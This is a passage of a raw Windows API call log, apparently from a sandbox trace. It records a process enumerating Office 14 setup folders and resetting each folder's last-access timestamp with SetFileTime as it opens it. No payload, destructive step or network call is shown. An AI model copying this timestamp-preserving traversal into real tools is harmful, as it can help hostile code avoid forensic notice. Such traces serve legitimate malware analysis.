files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.319] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0144.319] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0144.319] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x999e38, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x999e38, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0144.319] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c78 [0144.320] GetLastError () returned 0x12 [0144.320] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c38 [0144.320] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.320] GetLastError () returned 0x12 [0144.320] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0144.321] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0144.323] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0144.323] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x999e38, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x999e38, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0144.323] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c38 [0144.324] GetLastError () returned 0x12 [0144.324] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c78 [0144.324] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0144.324] GetLastError () returned 0x12 [0144.324] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.324] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.327] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0144.327] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0144.327] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x999e38, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x999e38, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0144.327] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c78 [0144.328] GetLastError () returned 0x12 [0144.328] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c38 [0144.328] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.328] GetLastError () returned 0x12 [0144.328] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0144.328] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0144.331] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0144.331] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x99a638, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x99a638, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0144.331] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c38 [0144.332] GetLastError () returned 0x12 [0144.332] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c78 [0144.332] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0144.332] GetLastError () returned 0x12 [0144.332] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.332] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.335] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0144.335] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0144.335] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x99aac0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x99aac0, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0144.335] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c78 [0144.336] GetLastError () returned 0x12 [0144.336] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c38 [0144.336] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.336] GetLastError () returned 0x12 [0144.336] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0144.336] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.338] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0144.338] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0144.338] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x99aac0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x99aac0, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0144.338] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c38 [0144.339] GetLastError () returned 0x12 [0144.339] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c78 [0144.339] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0144.339] GetLastError () returned 0x12 [0144.339] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.340] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0144.341] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0144.341] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x99aac0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x99aac0, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0144.342] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c78 [0144.342] GetLastError () returned 0x12 [0144.342] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c38 [0144.342] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.342] GetLastError () returned 0x12 [0144.342] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0144.342] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.343] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0144.344] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0144.344] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x99aac0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x99aac0, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0144.344] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c38 [0144.345] GetLastError () returned 0x12 [0144.345] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c78 [0144.345] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0144.345] GetLastError () returned 0x12 [0144.345] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.345] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.350] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0144.350] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0144.350] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x99aac0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x99aac0, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0144.351] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c78 [0144.351] GetLastError () returned 0x12 [0144.352] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c38 [0144.352] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.352] GetLastError () returned 0x12 [0144.352] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0144.352] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.354] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0144.354] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0144.354] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x99aac0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x99aac0, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0144.354] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c38 [0144.355] GetLastError () returned 0x12 [0144.355] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c78 [0144.356] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0144.356] GetLastError () returned 0x12 [0144.356] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.356] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0144.358] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0144.358] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x99aac0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x99aac0, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0144.358] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c78 [0144.360] GetLastError () returned 0x12 [0144.360] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c38 [0144.360] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.360] GetLastError () returned 0x12 [0144.360] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0144.360] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.361] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior"), 